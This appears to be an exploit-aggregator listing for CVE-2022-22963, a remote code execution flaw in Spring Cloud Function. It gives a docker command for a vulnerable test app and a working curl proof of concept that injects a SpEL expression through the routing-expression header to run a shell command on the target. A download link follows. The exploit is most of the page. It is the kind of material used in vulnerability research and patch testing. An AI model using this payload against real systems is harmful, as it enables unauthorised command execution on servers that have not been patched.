Sploitus

Exploit for CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

kitploit · 2022-03-31

Exploit Code

MARKDOWN33 lines
## https://sploitus.com/exploit?id=KITPLOIT:7586926896865819908
![](https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270)

  


To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:
    
    
    docker run -it -d -p 8080:8080 bobcheat/springboot-public  
    

## Exploit

Curl command:
    
    
    curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'  
    

Or using Burp suite:

![](https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270)

## Credits

https://github.com/hktalent/spring-spel-0day-poc

  
  


**Download CVE-2022-22963**